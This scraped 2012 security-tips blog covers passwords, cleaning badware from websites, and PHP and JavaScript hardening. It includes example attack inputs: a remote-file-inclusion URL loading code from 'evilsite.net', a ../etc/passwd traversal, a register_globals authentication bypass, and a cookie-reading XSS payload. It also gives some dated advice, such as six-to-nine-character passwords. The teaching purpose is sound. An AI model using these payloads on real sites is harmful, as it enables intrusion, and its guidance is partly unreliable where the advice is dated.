Knowledge You Can Trust.

Providing you with the best internet and website security tips on the web.

Secure Your Site For Free!

Members of SecureMySite.Com receive a free online security screening at no cost to them!.

Updates On The Latest Online Scams!

Don't be a victim to online con artists! Learn the tricks to avoiding internet scams!

Wednesday, March 14, 2012

Password Protection

Click Here! For More Info

 Refresher – Password Usage

Let’s be honest, passwords are annoying. These days, we need a password or PIN everywhere. We have so many that we can’t keep track of them all. We forget to update them; and when we do, it’s difficult to come up with effective ones that we can still remember, so we procrastinate changing them for months, even years. We all know this is bad, but the alternative – the painful, irritating password creation and memorization process – is sometimes more than we can tolerate. There is hope! Passwords don’t have to be complex cryptograms. A few simple methods can help make living with passwords a little easier.

While we may find them annoying, and even take them for granted, it is important to remember why passwords are important: passwords are often the first (and possibly only) defense against intrusion (MacGregor). They protect personal information – information we don’t want anyone and everyone to know. In our personal lives, this means financial information, health data, and private documents. In a professional context, this may encompass anything considered crucial to the success of the organization: trade secrets, financial data, intellectual property, customer lists, etc.

Passwords are simpler and cheaper than other, more secure forms of authentication like special key cards, fingerprint ID machines, and retinal scanners. They provide a simple, direct means of protecting a system or account. For the sake of this article, we’ll define a ‘password’ as a word, a phrase, or combination of miscellaneous characters that authenticates the identity of the user. Passwords are generally used in combination with some form of identification, such as a username, account number, or e-mail address. While a username establishes the identity of the user for the computer or system, the password, which is known only to the authorized user, authenticates that the user is who he or she claims to be. This means that their function is to “prove to the system that you are who you say you are” (Russell).Password CrackingWhile passwords are a vital component of system security, they can be cracked or broken relatively easily.

Password cracking is the process of figuring out or breaking passwords in order to gain unauthorized entrance to a system or account. It is much easier than most users would think. (The difference between cracking and hacking is that codes are cracked, machines are hacked.) Passwords can be cracked in a variety of different ways. The most simple is the use of a word list or dictionary program to break the password by brute force. These programs compare lists of words or character combination against password until they find a match. If cracking codes seems like science fiction, search “password cracker” on Packetstorm or Passwordportal.net. There are also numerous password cracking tools available that any average person can use. (For more information on password cracking tools, please see the SecurityFocus article Password Crackers - Ensuring the Security of Your Password.)

Another easy way for potential intruders to nab passwords is through social engineering: physically nabbing the password off a Post-It from under someone’s keyboard or through imitating an IT engineer and asking over the phone. Many users create passwords that can be guessed by learning a minimal amount of information about the person whose password is being sought. (For more information on social engineering please see the SecurityFocus series Social Engineering Fundamentals) A more technical way of learning passwords is through sniffers, which look at the raw data transmitted across the net and decipher its contents. “A sniffer can read every keystroke sent out from your machine, including passwords” (University of Michigan). It’s possible that someone out there has at least one of your passwords right now.How To Choose Good PasswordsNow that we have established the importance of passwords and some of the ways in which they may be vulnerable to cracking, we can discuss ways of creating good, strong passwords.

In creating strong, effective passwords it is often helpful to keep in mind some of the methods by which they may be cracked, so let’s begin with what NOT to do when choosing passwords.No Dictionary Words, Proper Nouns, or Foreign WordsAs has already been mentioned, password cracking tools are very effective at processing large quantities of letter and number combinations until a match for the password is found, as such users should avoid using conventional words as passwords. By the same token, they should also avoid regular words with numbers tacked onto the end and conventional words that are simply written backwards, such as ‘nimda’. While these may prove to be difficult for people to figure out, they are no match for the brute force attacks of password cracking tools.No Personal InformationOne of the frustrating things about passwords is that they need to be easy for users to remember. Naturally, this leads many users to incorporate personal information into their passwords. However, as is discussed in theSocial Engineering Fundamentals, it is alarmingly easy for hackers to obtain personal information about prospective targets. As such, it is strongly recommended that users not include such information in their passwords. This means that the password should not include anything remotely related to the user’s name, nickname, or the name of a family member or pet. Also, the password should not contain any easily recognizable numbers like phone numbers or addresses or other information that someone could guess by picking up your mail.Length, Width and Depth.

A strong, effective password requires a necessary degree of complexity. Three factors can help users to develop this complexity: length, width & depth. Length means that the longer a password, the more difficult it is to crack. Simply put, longer is better. Probability dictates that the longer a password the more difficult it will be to crack. It is generally recommended that passwords be between six and nine characters. Greater length is acceptable, as long as the operating system allows for it and the user can remember the password. However, shorter passwords should be avoided.Width is a way of describing the different types of characters that are used. Don’t just consider the alphabet. There are also numbers and special characters like ‘%’, and in most operating systems, upper and lower case letters are also known as different characters. Windows, for example, is not always case sensitive. (This means it doesn’t know the difference between ‘A’ and ‘a’.) Some operating systems allow control characters, alt characters, and spaces to be used in passwords. As a general rule the following character sets should all be included in every password:uppercase letters such as A, B, C;lowercase letters such as a, b,c;numerals such as 1, 2, 3;special characters such as $, ?, &; andalt characters such as µ, £, Æ. (Cliff)Depth refers to choosing a password with a challenging meaning – something not easily guessable.

Stop thinking in terms of passwords and start thinking in terms of phrases. “A good password is easy to remember, but hard to guess.” (Armstrong) The purpose of a mnemonic phrase is to allow the creation of a complex password that will not need to be written down. Examples of a mnemonic phrase may include a phrase spelled phonetically, such as ‘ImuKat!’ (instead of ‘I’m a cat!’) or the first letters of a memorable phrase such as ‘qbfjold*’ = “quick brown fox jumped over lazy dog.”What may be most effective is for users to choose a phrase that is has personal meaning (for easy recollection), to take the initials of each of the words in that phrase, and to convert some of those letters into other characters (substituting the number ‘3’ for the letter ‘e’ is a common example). For more examples, see the University of Michigan’s Password Security Guide.Extra ProtectionAll of the good password cracking programs include foreign words, backwards words, etc. And the easiest way to steal a password is by asking for it, so it’s simpler to never give it away.In some cases, a good password is enough protection to keep out intruders. In others, it’s just a start. Encryption and one-time passwords add extra protection to systems. Encryption means garbling the password to protect from sniffers or other onlookers, through a particular scheme that can be deciphered from the other end of the connection. One-time passwords (S/key is the most commonly used) are just that.

They can be used only once. This requires carrying a list of passwords or having a special password calculator or SecureCard, but can be a very reliable method of password security.There are also certain behaviors that users should practice in order to maximize the effectiveness of their passwords. Users should avoid using the same password on multiple accounts. Doing this creates a single point of failure, which means that if an intruder gains access to one account, he or she will have access to all of the user’s accounts. Users should never disclose their passwords to anybody unless they know them to be authorized (i.e., systems administrators). Even then, passwords should only be disclosed in person (not over the phone or by e-mail) to a known, trusted source.Users should exercise extreme caution when writing down or storing passwords.

Stories of hackers obtaining passwords through shoulder-surfing and dumpster diving are not urban myths, they are real. Users should resist the temptation to write down passwords on Post-It notes stuck to their monitors or hidden under their keyboards. Instead, they should choose passwords that they will be able to remember – not an easy task given the complexity required of strong, effective passwords.There are always extraneous circumstances where we must write down passwords. This is not recommended, but if it must be done, it should be done with forethought, not haphazardly. The extreme example of too many passwords is contract system administrators, who have multiple clients and machines. For these people, the only advice is to write down the phrases or some sort of related thought to jog your memory and put it on a piece of paper carried on your person. Maybe photocopy that and leave that stored in a safe place at home. Never put it on a Post-It. Never store it online.

An obscured hint might be okay, but never the actual password or even an encrypted version.Changing & Storing Passwords and PINsIn order to ensure their ongoing effectiveness, passwords should be changed on a regular basis. Changing passwords securely is fairly simple. Windows passwords are changed through the Control Panel and in UNIX, the ‘passwd’ command generally does the trick. A good rule of thumb is to change passwords as close to the actual account as possible. For example, if it’s an ISP account, don’t telnet through three other machines to change that password. If it’s an office computer, users should be on that computer and not on a co-worker’s when changing it. Don’t let anybody watch while typing the old and new passwords. If at all possible, the password should be changed over a secure connection like a secure shell (SSH).How often one should change passwords really depends on the account. Online financial accounts should be changed every month or two.

Corporate network passwords should be changed every 3-4 months. A recent 2600article recommended considering the “sensitivity of the resources which you are trying to protect” and suggested “enforcing password changes somewhere between once per fiscal year and once per fiscal quarter” (Thomas). Just use good judgment and don’t be lazy. Changing a password is relatively quick and painless compared to the irritating and expensive process of combating identity theft.Tips for Organizations and Network AdministratorsManagers and administrators can enhance the security of their networks by setting strong password policies. Password requirements should be built into organizational security policies. Network administrators should institute by regular changes/updates of passwords. They should also regularly remind users of how easy it is for hackers to get their passwords through social engineering and online attacks. New users should be taught about good password practices. Providing intranet resources on network security and password security can also be helpful.

Finally, the organization’s password policy should be integrated into the security policy, and all readers should be made to read the policy and sign-off on it.Systems administrators should implement safeguards to ensure that people on their systems are using adequately strong passwords. They should set password expiration dates on all programs being run on the organization’s systems. Keep a password history to prevent reuse, and lock of accounts after 3-5 password attempts. Keep the number of people in the organization who have these passwords as small as possible. The organization should also use newer versions of OSs that have more secure password files and authentication protocols.

Keep your individual account passwords updated as well. Finally, when installing new systems, make sure default passwords are changed immediately.New Year’s ResolutionObviously, passwords are just one piece of the puzzle. Other pieces are general user education, good physical security, plugging network holes, and installing strong firewalls. These provide much more global protection in the controlled corporate environment than passwords alone, but in areas where the only method of control users have is a PIN or password, the best thing we can do is be aware of security risks and keep up with their password controls.

Identifying Badware

Click Here! For More Info

Identifying badware behavior

The first step to keeping your website badware-free is to check for any badware or badware behaviors that may already be on your site.

What to look for:

The three most common forms of badware that StopBadware sees on compromised sites are:

1. Malicious scripts
2. .htaccess redirects
3. Hidden iframes

Malicious scripts:

Malicious scripts are often used to redirect site visitors to a different website and/or load badware from another source. These scripts will often be injected by an attacker into the content of your web pages, or sometimes into other files on your server, such as images and PDFs. Sometimes, instead of injecting the entire script into your web pages, the attacker will only inject a pointer to a .js or other file that the attacker saves in a directory on your web server.

Many malicious scripts use obfuscation to make them more difficult for anti-virus scanners to detect:

Some malicious scripts use names that look like they’re coming from legitimate sites (note the misspelling of “analytics”):

The Apache web server, which is used by many hosting providers, uses a hidden server file called .htaccess to configure certain access settings for directories on the website. Attackers will sometimes modify an existing .htaccess file on your web server or upload new .htaccess files to your web server containing instructions to redirect users to other websites, often ones that lead to badware downloads or fraudulent product sales.

An iframe is a section of a web page that loads content from another page or site. Attackers will often inject malicious iframes into a web page or other file on your server. Often, these iframes will be configured so they don’t show up on the web page when someone visits the page, but the malicious content they are loading will still load, hidden from the visitor’s view.

If your site was reported as a badware site by Google, you can use Google’s Webmaster Tools to get more information about what was detected. This includes a sampling of pages on which the badware was detected and, using a Labs feature, possibly even a sample of the bad code that was found on your site. Certain information can also be found on the Google Diagnostics page, which can be found by replacing example.com in the following URL with your own site’s URL: www.google.com/safebrowsing/diagnostic?site=example.com

There exist several free and paid website scanning services on the Internet that can help you zero in on specific badware on your site. There are also tools that you can use on your web server and/or on a downloaded copy of the files from your website to search for specific text. StopBadware does not list or recommend such services, but the volunteers in our online community will be glad to point you to their favorites.

Removing the badware behavior:

Once you have located the code that is causing the badware behavior, removing it is often as simple as deleting the offending code from all files in which it appears. Sometimes, it is easier, if you have a clean backup of your site’s contents, to re-upload all of the site’s files, though be careful about overwriting files that may have changed since your last backup. In some cases, the bad content may be stored in one or more database records, in which case restoring a recent backup of the database or manually editing the relevant records may be necessary.

Preventing future infection:

Preventing badware on your website requires protecting three things: your site itself, the password(s) used to upload content to the site, and the computer(s) used to upload content to the site. The site itself must be protected because attackers often look for vulnerable software to exploit so they can modify your site’s contents. The passwords are critical because, if they are guessed or stolen, they can be used to modify the site. Finally, computers are important because badware on your computer can steal your password and/or modify the contents that you are uploading.

Protect your site:

* Ensure that any software you use (e.g., blogging software like WordPress, third party scripts, etc.) is kept up to date with the latest security fixes, either by you (if you installed the software) or by your hosting provider.
* Remove any scripts, services, or other software that you are no longer using.
* Change any default passwords that come with the software you are using.
* Use appropriate file permissions on your web server.

Protect your password

* Use a strong password and change it occasionally, especially if you have reason to think it has been compromised.
* Tips for choosing and protecting a strong password can be found at this helpful page

Protect your computer:

* See our guide to preventing badware on your computer

Once your site is clean and protected, you may request a review to remove your site from our providers’ badware lists.

PHP Security

Click Here! For More Info

Defining PHP Security and It’s uses PHP is the most popular web programming languages in use today due in large part to the fact that it’s a highly flexible syntax that can perform many functions while working flawlessly in conjunction with html – Plus it’s relatively easy to learn for beginners, yet it’s powerful enough for advanced users as well. It also works exceptionally well with open source tools, such as the Apache web server and MySQL database. In other words, its versatility is unsurpassed when compared to other scripting languages, making it the language of choice for many programmers.

 Though many programmers and developers may be implementing PHP in their websites, the issue of PHP security is often overlooked when building a site. Insecure coding is rather common in PHP due to the fact that it’s such a forgiving language that will often “work” even when there are a few loose ends in the coding. These “loose ends” are what hackers are looking for, and in PHP, they’re not that hard to find. The key is for you to find them first, and to leverage PHP’s unique features to minimize your security vulnerability. PHP Security involves minimizing programming errors as much as possible, and putting proper code in place to protect against possible vulnerabilities – Often times this means putting 2-3 “layers” of protection in place to guard sensitive data against hackers that could otherwise cause a catastrophic result if compromised.

Developers call this principle of redundant safeguarding Defense in Depth, and this concept has been proven over the years to be an extremely effective defense against malicious attacks. Types of Attacks There are various types of attacks that PHP is particularly vulnerable to, and any website that sends or receives information is at risk of an attack – ranging from an annoyance to catastrophic – so it’s important to put the proper security in place to minimize the risk. The two main types of attacks are human attacks and automated attacks – Both of which can potentially devastate a website. The most common type of human attacks are little more than annoyances and are common at file storage sites and forums, such as abusing file storage policy, defamation, lobbying at sites such Amazon or Yahoo Answers, and other similar abuse that doesn’t necessarily involve manipulation of your website’s source code.

Humans can also find security holes that allow them to access source code and use it maliciously. This can potentially cause substantial damage to your website, so this is the type of human attack you should focus your efforts on. Automated attacks are particularly dangerous because of their efficiency in using the power of automated scripts to wreak havoc on your website in a number of different ways. These attacks may slow down your site, access the error logs, manipulate the source code, or compromise sensitive information – The possibilities are seemingly endless. The most common, and notorious, type of automated attack are viruses and worm, which are slightly different in nature but are similar in the way that they can potentially harm a website. The goal of PHP security is to minimize, and ultimately eliminate, the potential for both human and automated attacks by putting into place strategic lines of defense to eliminate access to your site by unverified users. The way you go about doing this is to target the most common types of PHP security breaches first, so that you make your website airtight against malicious attacks.

So what are the most common types of PHP security breaches? Most Common PHP Security Vulnerabilities Experienced hackers know the most common types of security holes to look for in PHP, so it’s important to address these issues first. It doesn’t matter whether you’re a beginner or expert PHP programmer, every programmer makes mistakes now and then, and hackers will find it if you don’t first. 1. Register_Globals Register_Globals makes writing PHP applications simple and convenient for the developer, but it also poses a potential security risk. This setting is located in PHP’s configuration file, which is php.ini, and it can be either turned on or off. When turned on, it allows unverified users to inject variables into an application to gain administrative access to your website.

Most, if not all, PHP security experts recommend turning register_globals off. For example take a look at the code snippet below. A user could append the end of a page’s url with ?admin=1 to basically force entry to administrative areas that would normally require a password. With register_globals turned off, this type of forced entry isn’t possible. The good news is that PHP 4.2.0 has register_globals turned off as its default setting, and PHP 6.0.0 has actually removed the feature. While some developers frown upon this move because register_globals off makes programming in PHP slightly more time-consuming, but in terms of PHP security it’s a crucial step in the right direction. So instead of relying on register_globals, you should instead go through PHP Predefined Variables, such as $_REQUEST. To further tighten security, you should also specify by using: $_ENV, $_GET, $_POST, $_COOKIE, or $_SERVER instead using the more general $_REQUEST. 2. Error Reporting Error reporting is a great tool for diagnosing bugs and allowing you to fix them quicker and easier, but it also poses a potential security threat.

The problem occurs when the error is visible to others on-screen, because it reveals possible security holes in your source code that a hacker can easily take advantage of. If display_errors is not turned off, or have a value of “0”, the output will appear on the end user’s browser – Not good for security! You do, however, want to set log_errors to on, and then indicate the exact location of the log with error_log. Take a look at the table below from PHPFreaks.com, which points out the recommended settings for both production and development instances of PHP web applications. 3. Cross-Site Scripting (XSS) Cross-site scripting, or XSS, is a way for hackers to gather your website’s user data by using malicious markup or JavaScript code to trick a user, or their browser, to follow a bad link or present their login details to a fake login screen that instead of logging them in, steals their personal information.

The best way to defend against XSS is to disable JavaScript and images while surfing the web, but we all know that’s nearly impossible with so many websites using JavaScript’s rich application environment these days. To defend against XSS attacks, you need to be proactive – Don’t wait until your website has already been exploited. For instance, PHP applications that use form submission, or POST requests, are much less vulnerable than GET requests. So it’s very important that you spell out which variables and actions will be allowed as GET values, and also which ones must come via POST values. In a nutshell, defending against XSS involves controlling the user input at your site and making sure that it goes through a filtering process to ensure that it’s void of malicious code.

An example of filtering user input can be found in the snippet of code below that was taken from Pro PHP Security by Chris Snyder and Michael Southwell. PHP Security Post Image This relatively straightforward piece of code works by preventing html and JavaScript from being embedded in the input, which results in a completely safe version of the input. This is especially useful for comment sections of a blog, forums and other web applications that receive user input. Also useful for protecting against XSS is a useful PHP function called htmlentities(). This simple function works by converting all characters in html to their corresponding entities, such as “<” would convert to “<” (without the quotes). 4. Remote File Inclusion (RFI) This type of attack is relatively unknown amongst developers, which makes it an especially damaging threat to PHP security.

Remote file inclusion, or RFI, involves an attack from a remote location that exploits a vulnerable PHP application and injects malicious code for the purpose of spamming or even gaining access to the root folder of the server. An unverified user gaining access to any server can wreak major havoc on a website in many different ways, including abusing personal information stored in databases. A great example of an RFI attack can be found atPHPFreaks.com. Here’s an exerpt from that page: Imagine that at http://example.com/malice.php a file exists and our script is located at http://site.com/index.php. The attacker will do this request: http://site.com/index.php?page=http://example.com/malice.

This file will get executed when it is included and it will a write a new file to the disk. The best way to secure your site from RFI attacks is through php.ini directives – Specifically, the allow_url_fopen and the allow_url_include directives. The allow_url_fopen directive is set to on by default, and the allow_url_include is set to off. These two simple directives will adequately protect your site from RFI attacks. Other PHP Security Tools While the most effective way to secure PHP web application is through accurate coding and vigilante monitoring of your site, there are other helpful tools out there that can help to quickly and easily point out possible vulnerabilities in your PHP coding. Here are three useful tools that can be beneficial to PHP developers: - PhpSecInfo This useful tool reports security information in the PHP environment, and best of all, it offers suggestions for improving the errors.

It’s available for download under the “New BSD” license, and the PhpSecInfo project is always looking for more PHP developers to help improve this tool. This is a tool used to scan PHP code for vulnerabilities, and it can be used to scan any directory. PHP Security Scanner features a useful UI for better visualization of potential problems, and it supports basic wild card search functionality for filtering directories or files that are to be searched. Download PHP Security Scanner Here - Spike PHP Security Audit Tool The Spike PHP Security Audit Tool is an open source solution for doing static analysis of PHP code. It will search for security exploits, so you can correct them during the development process.

Building a Secure Site

Click Here! Basic Ways To Increase Web Security

Now that you know a bit about what can be done to your website by the bad guys, here are some ways to fight them off.
Keep Code Up to Date

There is no better protection than keeping your code up to date. Outdated versions of WordPress, old installs of PHP and MySQL, even old browsers, all of these are security issues because most updates to software these days are security patches. It is a rat race between those who want the Web to work and those who want to abuse it to make a quick buck or to steal your identity. So please help the good guys by upgrading whenever a new version is out.
Don’t Stay Logged In, and Don’t Entice Others to Either

Staying logged in while not using a system is dangerous. Other websites you surf to can check that you are logged in and then clickjack you to make you do something you don’t mean to or aren’t aware of. This is especially dangerous with social media because everything you do will be sent to all your friends and probably replicated by them. It is a snowball effect.

In my perfect world, no form has a “Keep me logged in” option, which of course would be a nuisance to end users. I would love to see a clever, usable solution to this problem. I use a Flex client for Twitter, not a browser, which means I am not vulnerable even on websites with clickjacking and cross-site request forgery (the latter only if people do not abuse the API to phish my followers; see the presentations at the end of this article for a demo of that).
Use Clever Passwords, and Entice Users to Do the Same

Even on bullet-proof systems, one attack vector is users whose passwords are very easy to guess. I change my passwords every few weeks, and I take inspiration from a book I am reading or a movie I have just seen. I also replace some characters and with numbers to make dictionary attacks harder.

There are two ways to crack a password (other than social engineering, which is making you tell me your password by tricking you or phishing): brute force and dictionary attacks. Brute force entails writing a loop that tries all of the different options (much like playing hangman), which can take ages and uses a lot of computing power. Dictionary attacks use a dictionary database to attempt common words instead of going letter by letter.

Say I am reading a Sherlock Holmes book or have just seen the new screen adaptation, my password could be Sh3rl0ckW4t50n or b4sk3rv!ll3. That may be a bit hardcore for most people but is generally a good idea. Another strategy is to take a sentence that you can memorize easily and string together the initial letters. For example, “I like to buy food for my dog and to walk with it” would be Il2bffmda2wwi or even Il2bffmd&2wwi.

So, if you build a new Web product that needs authentication, and you really need to build your own log-in system rather than use Google, Yahoo, Facebook Connect or OpenID (which might be a good idea), please do not allow users to use passwords like “password” or the not-much-safer “password1.” Recently, a list of passwords banned by Twitter leaked onto the Web, shown here as the full code 20. This is a good idea (the list, that is, not the leak).
What To Do On Your Server

Even if you are not a server expert, that’s no excuse for running an insecure server. Here are some things to make sure of.
Turn Off Folder Listing

As explained earlier, allowing people to navigate your folders (i.e. path traversal) is a bad idea. Testing whether your server has path traversal turned on is easy:

   1. Create a new folder on the server; for example, pathtest.
   2. Add some files to the folder. But do not add index.html, index.php, default.aspx or whatever else your server uses as the default file name.
   3. Check the folder in your browser; for example, by going to http://example.com/pathtest/
   4. If you can see a listing, contact your server admin to turn that off!

Harden Your PHP

If you have a server with PHP, be aware that you are in control of a powerful tool. The worst oversight someone could make is to allow any parameter that comes in from the URI to become a global variable. This is turned off by default on PHP installs in version 4.2.0 and onward, but your configuration may have changed. In fact, some tutorials recommend that you turn it on for a script to work: this is a very, very bad idea.

You can easily test if globals are enabled:

   1. Create a new file named test.php.
   2. Add the following code to it:
      view source
      print?
      1    <?php echo "*".$ouch.'*';?>
   3. Upload the file to your server.
   4. Browse to the file, and send a parameter called ouch; for example: http://example.com/test.php?ouch=that+hurts
   5. If your browser shows “*that hurts*”, then your server has globals registered.
   6. Contact your server admin to get this fixed!

Why is this important? Well, in our explanation of XSS earlier, we talked about attackers being able to add code to your page using the URI parameters in your script. If you don’t turn off globals, any variable you use and write out could become an attack. Even worse, consider the following code:
view source
print?
1    if($_POST['username'] == 'muppet' &&
2       $_POST['password'] == 'password1') {
3        $authenticated = true;
4    }
5    if($authenticated) {
6      // do something only admins are allowed to do
7    }

If this is checkuser.php and global registering is on, then an attacker could call this in the browser as http://example.com/checkuser.php?authenticated=true and could work around the whole user checking; his authentication as $_GET['authenticated'] automatically turns into $authenticated.
Turn Off Error Messages

A lot of servers are set up to show you error messages when the browser encounters a problem. These messages often look cryptic, but they are a great source of information for attackers.

Creating an error and seeing what the server spits out is one of the first steps in checking the folder structure of a server. Funnily enough, error pages stating “File XYZ could not be found” were one of the first XSS attack opportunities, because you could look for a file named <script>alert(document.cookie),</script>.
Automatically Checking PHP for Security Issues

Uploading PHPSecInfo 21 to a folder is a pretty handy way to perform a quick audit of your PHP server’s security. Opening it in your browser gives you a detailed checklist of common security flaws and how they should be fixed.

But never leave this on a live server because it gives attackers a lot of details about your set-up!

HTML Security

Click Here! For More Info

Because you likely do not have much to do with your server let’s focus on things you do have full control of.
HTML

HTML is pretty safe. It is simply converted into text—no interaction with the server or calculations—so not much can go wrong. That said, you should always use HTML for what it’s for:

    * HTML structures your content.
      HTML is not a database to store information. The reason it is not is because you cannot rely on HTML content to stay unchanged. Anyone could use browser debugging tools to mess around with your HTML and change the content. So you run into security issues with JavaScript solutions that rely on data in the HTML and don’t check the server for what that data is allowed to be.
    * HTML is fully visible.
      Don’t use comments in the HTML to store sensitive information, and don’t comment out sections of a page that are not ready yet but that point to parts of an application that are in progress.
    * Hiding things doesn’t make them go away.
      Even if you hide information with CSS or JavaScript, some people can get it anyway. HTML is not there to give your application functionality; that should always happen on the server.

A wonderful example of insecure HTML was the drop-down menu on the website of a certain airline. This menu let you define the seating class you wanted to fly in as the last step before printing your voucher. The website rendered the HTML of the drop-down menu and commented out the sections that were not available for the price you had selected:
view source
print?
1    <select name="class">
2      <option value="ec">Economy</option>
3      <option value="ecp">Economy Plus</option>
4      <!--
5      <option value="bu">Business</option>
6      <option value="fi">First</option>
7      -->
8    </select>

The server-side code did not check to see whether you were eligible for a first-class ticket; it simply relied on the option not being available. The form was then sent via JavaScript. So, all you had to do to get a first-class ticket for the price of an economy seat was use FireBug 23 to add a new option to the form, select the value you wanted and send it off.
CSS

CSS is not really capable of doing much to the document and cannot access the server… for now. One problem with CSS is background images that point to URIs. You can inject code by somehow overriding these. The same applies to the @import property for other style sheets.

Using expression() in Internet Explorer to make calculations (or, as in most cases, to simulate what other browsers can already do) is dangerous, though, because what you are doing in essence is executing JavaScript inside a CSS block. So, don’t use it.

CSS changing a lot now, and we are giving it more power than ever before. Generating content with CSS, animation, calculations and font embedding all sound absolutely cool, but I get a prickly feeling in the back of my neck when I look at it right now.

Attack vectors have two features: they have the power to change the content of a document, and they are technologies that are not proven and are changing constantly. This is what CSS 3 is right now. Font-embedding in particular could become a big security issue, because fonts are binary data that could contain anything: harmless characters as well as viruses masquerading as a nice charset. It will be interesting to see how this develops.
JavaScript

JavaScript makes the Web what it is today. You can use it to build interfaces that are fun to use and that allow visitors to reach their goals fast and conveniently. You can and should use JavaScript for the following:

    * Create slicker interfaces (e.g. auto-complete, asynchronous uploading).
    * Warn users about flawed entries (password strength, for instance).
    * Extend the interface options of HTML to become an application language (sliders, maps, combo boxes, etc.)
    * Create visual effects that cannot be done safely with CSS (animation, menus, etc.)

JavaScript is very powerful, though, which also means that it is a security issue:

    * JavaScript gives you full access to the document and allows you to post data to the Internet.
    * You can read cookies and send them elsewhere.
    * JavaScript is also fully readable by anyone using a browser.
    * Any JavaScript on the page has the same rights as the others, regardless of where it came from. If you can inject a script via XSS, it can do and access whatever the other scripts can.

This means you should not try to do any of the following in JavaScript:

    * Store sensitive information (e.g. credit card numbers, any real user data).
    * Store cookies containing session data.
    * Try to protect content (e.g. right-click scripts, email obfuscation).
    * Replace your server or save on server traffic without a fallback.
    * Rely on JavaScript as the only means of validation. Attackers can turn off JavaScript and get full access to your system.
    * Trust any JavaScript that does not come from your server or a similar trusted source.
    * Trust anything that comes from the URI, HTML or form fields. All of these can be manipulated by attackers after the page has loaded. If you use document.write() on unfiltered data, you expose yourself to XSS attacks.

In other words, AJAX is fun, but do not rely on its security. Whatever you do in JavaScript can be monitored and logged by an end user with the right tools.
PHP (or Any Server-Side Language)

Here be dragons! The server-side language is where you can really mess up if you don’t know what you’re doing. The biggest problems are trusting information from the URI or user entry and printing it out in the page. As shown earlier in the XSS example with the colors, you will be making it easy to inject malicious code into your page.

There are two ways to deal with this: whitelisting and proper filtering.

Whitelisting is the most effective way to make sure nothing insecure gets written out. The trick is easy: don’t use information that gets sent through as the output; rather, just use it in conditions or as lookups.

Let’s say you want to add a file on demand to a page. You currently have these sections on the page: About Us, Contact, Clients, Portfolio, Home, Partners. You could store the data of these in about-us.php, contact.php, clients.php, portfolio.php, index.php and partners.php.

The amazingly bad way to do this is probably the way you see done in many tutorials: a file called something like template.php, which takes a page parameter with the file name.

The template then normally contains something like this:
view source
print?
1    <?php include($_GET['page']);?>

If you call http://example.com/template.php?page=about-us.php, this would load the “About Us” document and include it in the template where the code is located.

It would also allow someone to check out all of the other interesting things on your server. For example, http://example.com/template.php?page=../../../../../../../../etc/passwd or the like would allow an attacker to read your passwd file.

If your server allows for remote files with include(), you could also inject a file from another server, like http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?. Remember, these text files will be executed as PHP inside your other PHP file and thus have access to everything. A lot of them contain mass-mailers or check your system for free space and upload options to store data.

In short: never, ever allow an unfiltered URI parameter to become part of a URI that you load in PHP or print out as an href or src in the HTML. Instead, use pointers:
view source
print?
01    <?php
02    $sites = array(
03      'about'=>'about-us.php',
04      'contact'=>'contact.php',
05      'clients'=>'clients.php',
06      'portfolio'=>'portfolio.php',
07      'home'=>'index.php',
08      'partners'=>'partners.php'
09    );
10    if( isset($_GET['page']) &&
11        isset($sites[$_GET['page']]) &&
12        file_exists($sites[$_GET['page']]) ){
13          include($sites[$_GET['page']]);
14    } else {
15      echo 'This page does not exist on this system.';
16    }
17    ?>

This way, the parameters become not a file name but a word. So, http://example.com/template.php?page=about would include about-us.php, http://example.com/template.php?page=home would include index.php and so on. All other requests would trigger the error message. Note that the error message is in our control and not from the server; or else you might display information that could be used for an exploit.

Also, notice how defensive the script is. It checks if a page parameter has been sent; then it checks if an entry for this value exists in the sites array; then it checks if the file exist; and then, and only then, it includes it. Good code does that… which also means it can be a bit bigger than expected. That’s not exactly “Build your own PHP templating system in 20 lines of code!” But it’s much better for the Web as a whole.

Generally, defining all of the variables you will use before you use them is a good idea. This makes it safer even in PHP set-ups that have globals registered. The following cannot be cracked by calling the script with an authenticated parameter:
view source
print?
1    $authenticated = false;
2    if($_POST['username'] == 'muppet' &&
3       $_POST['password'] == 'password1') {
4        $authenticated = true;
5    }
6    if($authenticated) {
7      // do something only admins are allowed to do
8    }

The demo we showed earlier makes it possible to work around this, because $authenticated was not pre-set anywhere.

Writing your own validator function is another option. For example, the color demo could be made secure by allowing only single words and numbers for the colors.
view source
print?
01    $color = 'white';
02    $background = 'black';
03    if(isset($_GET['color']) && isvalid($_GET['color'])){
04      $color = $_GET['color'];
05      if(ishexcolor($color)){
06        $color = '#'.$color;
07      }
08    }
09    if(isset($_GET['background']) && isvalid($_GET['background'])){
10      $background = $_GET['background'];
11      if(ishexcolor($background)){
12        $background = '#'.$background;
13      }
14    }
15    function isvalid($col){
16      // only allow for values that contain a to z or 0 to 9
17      return preg_match('/^[a-z0-9]+$/',$col);
18    }
19    function ishexcolor($col){
20      // checks if the string is 3 or 6 characters
21      if(strlen($col)==3 || strlen($col)==6){
22        // checks if the string only contains a to f or 0 to 9
23        return preg_match('/^[a-f0-9]+$/',$col);
24      }
25    }

This allows for http://example.com/test.php?color=red&background=pink or http://example.com/test.php?color=369&background=69c or http://example.com/test.php?color=fc6&background=449933, but not for http://example.com/test.php?color=333&background=&lt/style>. This keeps it flexible for the end user but still safe to use.

If you are dealing with content that cannot be easily whitelisted, then you’ll need to filter out all the malicious code that someone could inject. This is quite the rat-race because new browser quirks are being found all the time that allow an attacker to execute code.

The most basic way to deal with this is to use the native PHP filters on anything that comes in. But a quite sophisticated package called HTML Purifier 24 is also available.

Tuesday, March 13, 2012

Web Security

Click Here! For More Info

Website security is an interesting topic and should be high on the radar of anyone who has a Web site under their control. Ineffective Web security leads to all of the things that make us hate the Web: spam, viruses, identity theft, to name a few.

The problem with Web security is that, as important as it is, it is also very complex. I am quite sure that some of you reading this are already part of an network of attack computers and that your servers are sending out spam messages without you even knowing it. Your emails and passwords have been harvested and resold to people who think you need either a new watch, a male enhancement product or a cheap mortgage. Fact is, you are part of the problem and don’t know what you did to cause it.

The reason is that security experts don’t like to talk too much in public about what they do and where the issues lie; and sadly enough, they can also come across as arrogant in their views. This could be the result of people not taking security seriously and not following the most basic advice, such as using passwords that are clever, not “password” or “letmein.”

Another reason is those tutorials that show you how to “do something in five minutes” and conveniently neglect to mention the security implications of their advice. If it sounds too easy to be true, it probably is. A perfect example of this is PHP solutions that use a file for data storage and ask you to make it writable to the world. This is easy to implement, but it means that any spammer can write to this file.